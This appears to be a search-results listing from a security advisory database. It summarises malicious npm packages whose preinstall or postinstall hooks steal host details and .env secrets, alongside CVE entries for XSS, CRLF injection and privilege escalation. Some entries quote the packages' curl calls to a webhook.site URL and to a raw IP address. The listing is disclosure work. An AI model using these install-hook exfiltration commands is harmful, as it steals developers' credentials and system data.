124418 matches found
MAL-2026-14437 Malicious code in ppb-manticore (npm)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 2558d8bae443d40330d8166eec921f02de17b395b4359a086a0f12792b026422 On npm install, the package's preinstall lifecycle script collects the installer's OS username, hostname, and current working directory, walks upward...
Malicious code in web-advertising (npm)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector bc7c0c1f060691740d5149c61d74f3ddd8f6e10107c7621d700ae0819a1e2237 [email protected] declares scripts.preinstall = 'node index.js', so index.js executes automatically on npm install. The script collects...
MAL-2026-14440 Malicious code in web-advertising (npm)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector bc7c0c1f060691740d5149c61d74f3ddd8f6e10107c7621d700ae0819a1e2237 [email protected] declares scripts.preinstall = 'node index.js', so index.js executes automatically on npm install. The script collects...
Malicious code in dotish (npm)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector d2ccb1a1f0c28d673323f0377c9e65232611641c9de3dbb97f92b17779660b20 The package's postinstall lifecycle script auto-runs on npm install and reads the installer's current working directory .env file typically containin...
MAL-2026-14418 Malicious code in dotish (npm)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector d2ccb1a1f0c28d673323f0377c9e65232611641c9de3dbb97f92b17779660b20 The package's postinstall lifecycle script auto-runs on npm install and reads the installer's current working directory .env file typically containin...
EUVD-2026-64899
Horde IMP's AppleDouble MIME viewer writes an attacker-controlled attachment name into an HTML status block without escaping it. In lib/Mime/Viewer/Appledouble.php, IMPrender obtains the name of the data part with IMPContents::getPartName, which returns the MIME part's own name parameter as...
CVE-2026-39915
TIM Flow before 26.0.6 is affected by a CRLF injection vulnerability in the rt URL parameter (and access token cookie), where unsanitized carriage return and line feed sequences are reflected into Set-Cookie response headers. Remote attackers can inject arbitrary HTTP headers and response body co...
Malicious code in @medisend/webview-bridge (npm)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector ddf4b396c306b8f8d090b929c265b8ae848c75e53b9750d6f68800a4deefe9a2 package.json declares a postinstall lifecycle script that runs curl to https://webhook.site/74ed1be3-96d6-48c3-932b-6b1dbabaff97 with query parameter...
MAL-2026-14424 Malicious code in @medisend/webview-bridge (npm)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector ddf4b396c306b8f8d090b929c265b8ae848c75e53b9750d6f68800a4deefe9a2 package.json declares a postinstall lifecycle script that runs curl to https://webhook.site/74ed1be3-96d6-48c3-932b-6b1dbabaff97 with query parameter...
CVE-2026-28166
Unauthenticated Cross Site Scripting XSS in Tourmaster = 5.4.9 versions...
CVE-2026-66599
CVE-2026-66599 is an unauthenticated Cross-Site Scripting (XSS) vulnerability in the WordPress plugin WPComplete , affecting versions 2.9.5.6 and earlier . The vulnerability was discovered by Asim Alshaya and carries a CVSS v3.1 score of 7.1 (HIGH) with a scope change (CHANGED), reflecting the ab...
Malicious code in fund-calculator (npm)
Source: amazon-inspector 52c5f9f0536151a173aa211b9b5f2972e68aee3043132adccdb3695947b16672 Package declares a preinstall script node index.js that fires unconditionally on npm install. index.js reads installer-side identifiers via os.hostname, os.userInfo, INITCWD, home directory, and the parent...
NetworkManager: NetworkManager: Local privilege escalation via malformed MUD URLs in dhclient backend
A flaw was found in NetworkManager. This local privilege escalation vulnerability exists in NetworkManager's dhclient backend when processing malformed Manufacturer Usage Description MUD URLs. A local user can exploit this flaw to escalate privileges by triggering a script via a crafted MUD URL,...
Malicious code in message-compiler (npm)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector f7469b2a666f71db1dd06fd00d6ae630becf97ad6854ff5c8938d2adcb5c8417 The package declares scripts.preinstall = 'node vishu.js', which runs automatically on npm install. vishu.js resolves the installer's public IP via...
MAL-2026-14392 Malicious code in message-compiler (npm)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector f7469b2a666f71db1dd06fd00d6ae630becf97ad6854ff5c8938d2adcb5c8417 The package declares scripts.preinstall = 'node vishu.js', which runs automatically on npm install. vishu.js resolves the installer's public IP via...
Malicious code in sm-oauth (npm)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 98d60527238d1284ed569a2fa7611ff2b430e1ebfab579f597f42a1eb28f49bc package.json declares preinstall and postinstall scripts that run curl -s http://16.192.173.5/sm-oauth/pre and curl -s...
MAL-2026-14398 Malicious code in sm-oauth (npm)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 98d60527238d1284ed569a2fa7611ff2b430e1ebfab579f597f42a1eb28f49bc package.json declares preinstall and postinstall scripts that run curl -s http://16.192.173.5/sm-oauth/pre and curl -s...
MAL-2026-14391 Malicious code in fund-calculator (npm)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 52c5f9f0536151a173aa211b9b5f2972e68aee3043132adccdb3695947b16672 Package declares a preinstall script node index.js that fires unconditionally on npm install. index.js reads installer-side identifiers via...
Malicious code in fund-calculator (npm)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 52c5f9f0536151a173aa211b9b5f2972e68aee3043132adccdb3695947b16672 Package declares a preinstall script node index.js that fires unconditionally on npm install. index.js reads installer-side identifiers via...
